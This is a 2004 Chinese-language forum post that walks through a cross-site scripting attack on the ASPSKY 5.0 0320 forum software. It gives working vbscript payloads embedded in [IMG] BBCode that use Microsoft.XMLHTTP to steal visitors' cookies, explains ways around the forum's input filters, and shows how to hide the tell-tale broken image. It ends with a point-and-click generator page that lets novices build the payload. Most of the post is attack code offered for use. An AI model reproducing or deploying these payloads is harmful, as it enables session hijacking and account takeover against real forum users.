史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 作業系統操作技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2004-06-23, 02:14 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 利用Microsoft.XMLHTTP控件傳送COOKIE

(注意由於論壇會對文章中的一些字串作處理,所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm(測試碼)

跨站指令碼攻擊想必各位都已經是很熟悉了,但是得到COOKIE的時候一直有一個
問題:總是要用WINDOW.OPEN彈一個表單出來然後傳送COOKIE,這樣隱秘性
就大打折扣了。以前我想了一個在網頁中用insertAdjacentHTML方法來注入HTML語句
的辦法勉強可以作到傳送COOKIE不出現IE視窗,但是在實際使用中有時會遇到IE出錯。

沒有更好的辦法了嗎?以前在研究VBS病毒自動昇級的時候用到一個Microsoft.XMLHTTP
控件(該控件是WIN98/2K上都預設原有的的東東,並且它是IE認為safe的控件!),通過它我們
可以在網頁中給網站傳送http請求,可以是POST也可以是GET.

好了思路已經到這兒來,下面我們可以實戰一下,我以ASPSKY 5.0 0320為例子。
我們知道<IMG SRC="XXXXXXX">在SRC中可以寫入vbscript:這樣的語句。。比如
<img src="vbscript:a=(msgbox(now))">,但是我們只能執行一個語句,比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">這樣都將是錯誤的!
怎麼辦法呢?在VBS中我們可以用EXECUTE語句,在JS中我們可以使用EVAL語!
比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval('alert(\'nsfocus\');alert(\'czy\')')">

還沒有暈吧?上面你可能會注意到用VBS的execute語句時雙引號要換為"這是因為:
在VBS中單引號要括起字串串,必須是兩個單引號代表一個又引號,並且在雙引號內!
所以在execute語句中我們不能用單引號,而直接用"呢,在HTML進行引號匹配的時候
會和src="後的引號匹配,所以我們只能用"替代了。

引號的問題解決了,在實際套用中ASPSKY還會對我們的程式碼進行處理:
1:如果發現script字串,會在前面加上一個空格
2:如果發現http字串會認為是一個URL,並在兩邊加上<A>元素
3:如果發現空格會用 替代

解決問題:
1:vbscript用vbsCript替代
2:http用,""ht""+""tp...替代(vbs中引號括引號裡面的套用多一對,+代表連接符)
3:空格用 替代(注不是)

在最後就是傳送COOKIE的問題:
1:控件在本地機可以GET,POST任意的網站,但是在網頁中竟然只能
GET,POST當前服務器。。。。要不然IE就會說拒絕仿問!
2:cookie中不能有&等在URL中有特殊交意的字串

解決問題:

1:只能發給當前服務器,那麼可以把COOKIE發到你在論壇上的註冊的用戶的郵箱嘛
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替換函用,在例子中我把"&"換成了"-"

問題都解決了下面是實際的例子:
動網aspsky 5.0 0320測試成功

//----------------------

[IMG]vbscript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/
yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=傳送&message=""&dat,false:http.send")[/IMG]

說明:把COOKIE發給CZY用戶,郵件標題叫news
//----------------------


另控件的正常用法:
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>



讓程式碼更完美,現在COOKIE已經乖乖的在我們的郵箱裡了,但是有一個小問題由於圖片不
能正常的顯示會是一個小叉,旁邊還有按此在新視窗瀏覽圖片的提示。。。這又難免會讓人
生疑。

解決思路:
一個網頁中的所有IMG元素通過document.imanges都能例舉到,並且可以設定它們的大小,
當width=0時就相當於HIDDEN了.
通過比較元素的src內容的值是否含有"ript"就可以判斷是不是我們的圖片.
另外比較時大於符用>替代,0用0替代!

程式碼:
[IMG]vbscript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0
then:aa.width=0:end if:next")[/IMG]


實際套用的程式碼:
[IMG]vbscript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:
aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yan
qing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=傳送&message=""&dat,false:http.send")[/IMG]


//-------------------方便菜鳥使用:)
<html>
<script language=vbs>
sub changeq()
if form1.loc.value="" or form1.who.value="" then
msgbox "沒有加入位址或用戶名?"
exit sub
end if
loc=form1.loc.value
user=form1.who.value
str="[IMG]vbscript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:
aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://"&loc&"/usersms.asp?action=send&touser="&user&"&title=news&submit=傳送&message=""&dat,false:http.send")
[/IMG]"
form1.area.value=str
end sub

</script>
<body>
<FONT SIZE=5 COLOR=RED>ASPSKY 5.0 0320 COOKI搜集器--CZY</FONT>
<form name=form1>
設定傳送位址:<input type=text name=loc size=50><br>
▲傳送位址形如:www.nnit30.com/newbbs(newbbs是網站中論壇的安裝目錄最後不用加/,也
不要http://頭)<br>
傳送的用戶名:<input type=text name=who size=20>-------------
<input type=button name=change value=產生程式碼 onclick=changeq()><br>
產生的程式碼<textarea name=area rows=10 cols=100></textarea>
</form>
</body>
</html>
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 06:42 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1